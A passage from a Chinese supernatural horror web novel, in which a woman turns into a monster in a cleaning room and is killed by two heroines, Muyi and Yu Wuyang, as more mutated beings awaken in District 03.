“躲里面有用吗？你赶快给我起来！” 红眼镜大婶怒睁着发红的血眸，一个大跨步来到张燃床边，一把拉起张燃。 她尖叫一声瘫在地上。 但下一秒红眼镜大婶的头好似被人提起来一般，随后机械地转了三百六十度，张开大嘴漏出满口獠牙，朝门外看热闹的人大吼着扑上来。 里间只剩下张燃的尸体轻飘飘地瘫在地上。 这件狭小的房间被红眼镜大婶发狂的壮硕身躯占得满满的，她一把推倒清洁间的餐车和机器，撕咬着来不及躲避的职工。 各式尖叫声充斥着整间房子，不知是谁触发了警报，警报声映照着着人和诡追逐逃窜的惨况。 牧懿手中的茶水立刻化为利剑，冲了上去。 【已使用“化水为刃”】 牧懿一剑劈中红眼镜大婶的眉心，却没有在对方身上留下任何痕迹。 红眼镜大婶被牧懿吸引了注意力，朝她扑过来。 牧懿一个飞踢把大婶撞向旁边的洗碗机上。 就在这时，一道银色的光从牧懿身侧划过，一下子正中红眼镜大婶心口。 刚才还在嘶吼咆哮的红眼镜大婶瞬间化成了一团灰烬。 虞雾泱手里的那把银色匕首在沾染了诡的血肉后倏的变亮，银色的云纹收到滋养，眨眼间就变成了更为耀眼的金色纹样。 牧懿立刻跟上前，却被金色匕首散发的金光刺到眼睛。 牧懿问她：“那个张燃你可认识？刚才大婶一碰她的尸体就发狂变异了。” 虞雾泱刚想回答不认识，却和牧懿一起被旁边另一道极其震撼的力量撞到墙上。 周围全是异类，03区的精神值低于异化标准线的人类本就很多，此刻他们好像全都被唤醒了。 异类齐聚在一起，恐怖的嚎叫声和嘶吼声从牧懿和虞雾泱的四面八方传来。